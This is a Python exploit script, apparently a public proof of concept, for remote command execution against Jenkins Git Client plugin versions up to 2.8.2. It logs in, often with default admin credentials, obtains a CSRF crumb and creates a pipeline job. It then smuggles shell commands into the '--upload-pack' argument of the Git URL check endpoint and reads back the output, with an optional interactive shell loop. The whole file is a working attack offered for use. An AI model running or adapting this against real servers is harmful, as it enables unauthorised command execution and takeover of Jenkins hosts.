#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# Author: FTKahZModan
# Version: Jenkins Git Clone <= 2.8.2 (2.8.6 failed).
import argparse
import requests, json, re
def login(url, headers, username, password, session):
login_url = url + '/j_acegi_security_check'
data = 'j_username=' + username + '&j_password=' + password + '&from=%2F&Submit=%E7%99%BB%E5%BD%95'
headers['Referer'] = url + '/login?from=%2F'
try:
r = session.post(login_url, headers=headers, data=data)
# print(session.cookies.get_dict())
# print(r.status_code)
if r.status_code == 200:
return session
else:
exit("[-]Error: Login Failed. Check the username and password.")
except Exception as e:
exit(str(e))
def get_crumb(url, session):
crumb_url = url + '/crumbIssuer/api/json'
try:
r = session.get(crumb_url)
# print(json.loads(r.text)['crumb'])
if r.status_code == 200 and 'crumb' in r.text:
return json.loads(r.text)['crumb']
else:
exit("[-]Error: Can not get Jenkins_Crumb.")
except Exception as e:
exit('[-]' + str(e))
def create_program(url, session, headers, item_name, crumb):
create_url = url + '/view/all/createItem'
data = 'name=' + item_name + '&mode=org.jenkinsci.plugins.workflow.job.WorkflowJob' \
'&Jenkins-Crumb=' + crumb + \
'&json=%7B%22name%22%3A+%22' + item_name + \
'%22%2C+%22mode%22%3A+%22org.jenkinsci.plugins.workflow.job.WorkflowJob%22' \
'%2C+%22Jenkins-Crumb%22%3A+%' + crumb + '%22%7D'
headers['Referer'] = 'http://192.168.134.129:8080/view/all/newJob'
try:
r = session.post(create_url, data, headers=headers, allow_redirects=False)
# print(crumb)
# print(r.status_code)
# print(type(r.headers['Location']))
if r.status_code != 302 or 'configure' not in r.headers['Location']:
print("[!]Warning: Maybe the item name you input is already existed.")
return item_name
except Exception as e:
exit('[-]Error: ' + str(e))
def attack(url, headers, item_name, session, crumb, interactive, command):
# pattern = r"" 'HEAD': 1: (.*?)(: not found|: Permission denied){0,1}
fatal"
pattern = r'" 'HEAD': (1: ){0,1}(.*?):.*?( not found|: Permission denied){0,1}
fatal'
attack_url = url + '/job/' + item_name + '/descriptorByName/hudson.plugins.git.UserRemoteConfig/checkUrl'
# print(attack_url)
headers['Jenkins-Crumb'] = crumb
headers['Referer'] = url + '/job/' + item_name + '/configure'
headers['X-Requested-With'] = 'XMLHttpRequest'
# print(crumb)
if not interactive:
data = 'value=--upload-pack%3D%22%60' + command + '%60%22&credentialsId='
try:
r = session.post(attack_url, data, headers=headers)
result = re.findall(pattern, r.text)
# print(result)
exit("[+]Success:" + '\n' + result[0][1].replace('
', '\n'))
except Exception as e:
exit("[-]" + str(e))
else:
while 1:
try:
command = input('sh$ ')
# print(type(cmd))
data = 'value=--upload-pack%3D%22%60' + command + '%60%22&credentialsId='
# print(data)
r = session.post(attack_url, data, headers=headers)
result = re.findall(pattern, r.text)
print(result[0][1].replace('
', '\n'))
except KeyboardInterrupt:
exit("[-]Closing..")
except Exception as e:
print(e)
if __name__ == "__main__":
parser = argparse.ArgumentParser("Jenkins Git Client < 2.8.2.")
parser.add_argument('-u', '--target', help='Target.', required=True)
parser.add_argument('-U', '--username', default='admin',
help="This vulnerability need Jenkins username to login. Default: admin")
parser.add_argument('-P', '--password', default='admin',
help="This vulnerability need Jenkins password to login. Default: admin")
parser.add_argument('-i', '--item', default='test',
help='Jenkins program Name to establish.')
parser.add_argument('-I', '--interactive', default=False,
help='Choose if you need a interactive shell(True or False). Default: False')
parser.add_argument('-c', '--command', help="Command to execute. If not use interactive mode it's required.")
args = parser.parse_args()
if not args.interactive and not args.command:
parser.print_help()
exit("[-]Error: You need set --interactive True or --command .")
headers = {
'Host': args.target.replace('http://', '').replace('https://', ''),
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0',
'Connection': 'keep-alive',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1',
}
s = requests.Session()
session = login(args.target, headers, args.username, args.password, s)
crumb = get_crumb(args.target, session)
item = create_program(args.target, session, headers, args.item, crumb)
attack(args.target, headers, item, session, crumb, args.interactive, args.command)